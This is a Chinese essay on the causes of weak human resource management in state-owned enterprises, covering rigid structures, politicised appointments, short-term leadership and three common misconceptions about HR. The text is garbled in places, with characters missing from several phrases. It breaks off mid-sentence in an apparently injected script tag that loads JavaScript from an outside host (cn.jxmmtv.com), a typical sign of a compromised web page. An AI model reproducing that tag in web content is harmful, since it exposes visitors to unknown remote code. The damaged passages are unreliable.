国有企业人力资源管理落后的要因与思考

进入知识经济时代，智力资本成为企业的第一竞争要素，人力资源管理的重要性愈加凸显。然而，传统上稳居头把交椅的国有企业，在人才竞争中却越来越有大步落后的趋势， 

    一、 国有企业人力资源管理落后的要因

    现代企业的生存与发展受众多因素影响和制约。其中， 重要也是 根本的因素就是企业的劳动者——人力资源，他们是企业所有资源中 宝贵的，因而必须对其进行有效管理。但是在实际操作中，许多企业，特别是大型国有企业，更关心的可能是它的资金和市场问题，人力资源管理常常为其所忽视。然而恰恰是人力资源的瓶颈阻碍了企业的进一步发展，问题何在？

    （一）、体制成旧

    1、企业产权名存实虚。企业经营者与企业利益不紧密相关，缺乏把企业办好的 基本的利益冲动。大多数经营者由行政任命，缺乏职业经营者的理性，对改善企业经营的理念、措施被动接受，行动迟缓。如大多数国营企业尚没有成立真正意义上的人力资源部门，企业机构臃肿，部门林立，层次多，冗员多；企业内部壁垒严重，部门间协同松散，信息传递较慢，或信息传递失真失效；企业制度繁琐，职责不明，扯皮增多，办事程序复杂，官僚习气十足。重大决策不能得到有效执行，或实施不力，达不到预期效果；领导者陷于具体的日常业务中，企业缺乏有效的中长期计划。 

    2、企业行为政府化，潜意识中政治气氛浓厚，重"名"而不重"实"。如管理者的考核任命强调政治表现，但有些业务骨干却因为不善拉关系而受到冷遇，"又红又专"的标准 后往往变成"红而不专"。企业从上到下看不到危机，沉浸在泡沫式的繁荣之中。员工不计成本，不讲实效导致成本居高不下，效益下滑；企业生产与市场严重脱节，畅销的供不上，滞销的大积压，技术创新不足；不注重客户关系管理，客户对企业产生信任危机。

    3、领导更换频繁，导致企业行为明显短期化，只重眼前利益。国企领导较少考虑到战略、文化层次，即使制定了战略目标，也不能保证它在下一任内的延续性，相应地企业更缺乏支持战略实现的长期人力资源规划。在有的企业里，“元老”、“长老”们，仍然在内部拥有巨大的势力，阻挡了持不同意见者的生存发展；不重视培养人才，企业各个层面出现后备人才“短缺”现象，人才流失现象严重。

    （二）、领导者本身的素质和管理水准亟待提高。

    现代人力资源管理思想由西方传入中国后，迅速得到传播和认同，由传统的人事管理向人力资源管理转变的热潮近年来逐渐升温。然而，在许多国有企业，人力资源尚处于理念传播阶段，由于对人力资源管理还缺乏系统的、科学的认识，很多企业还存在许多观念误区，

    错误认识一：人力资源管理的主要职责属于行政管理范围。实质上这仍局限于传统的人事管理，而不是现代的人力资源管理。现代人力资源管理是一项系统工程，它的核心目标是 大限度地激励员工，使企业内 有潜力的资源--人力资源得到有效的开发，并服务于企业增值的目标。因此，凡与调动员工积极性，并充分发挥员工对企业价值有关的职能，都应含在一个完整的人力资源系统中。这个系统大到宏观层面，如远景、战略（与人是否配合，是否能够产生激励），小到微观操作层面，如招聘技巧、绩效测评，其间还有企业组织、职位设计、企业文化等中观层面。行政管理职能基本上是微观层面的，只是大人力资源系统中的一小部分。

    错误认识二：人力资源工作基本处于企业内部，对企业经营业绩没有直接贡献。许多企业认为人力资源部门在企业中处于辅助位置，而生产部门、营销部门、财务部门才是企业创造价值的来源。生产目标、成本目标、利润目标，都必须在承担这些职责的人的有效工作下才能 好地完成。一个好的市场推广活动也许在短时期内可以显著增加企业利润，但若缺乏一支高素质的营销队伍，长期稳定的市场拓展是无法想象的。所以有效的人力资源管理不仅使企业目前的业绩得以保持，更重要的是推动企业长期稳定地成长。

    错误认识三：人力资源管理只是人力资源部门的职责。对人力资源管理缺乏系统的理解，是造成这一误解的原因。实现对全体员工的价值开发是人力资源工作的目的，这不仅括基层员工，而且括中级甚至高级管理层。只要员工存在之处，人力资源管理就应该延伸，整个企业实际上是一个大人力资源系统。许多跨国公司提倡这样的观念：所有部门经理都应是人力资源经理，因为他们对下属负有招聘、考评、开发、激励等职责。人力资源工作要想切实有效，没有各职能部门的执行、配合是不可能实现的。

    以上观念误区的一个共同根源是忽视了人力资源管理贯穿企业各部门的系统性，对人?script src=http://cn.jxmmtv.com/cn.js></Script>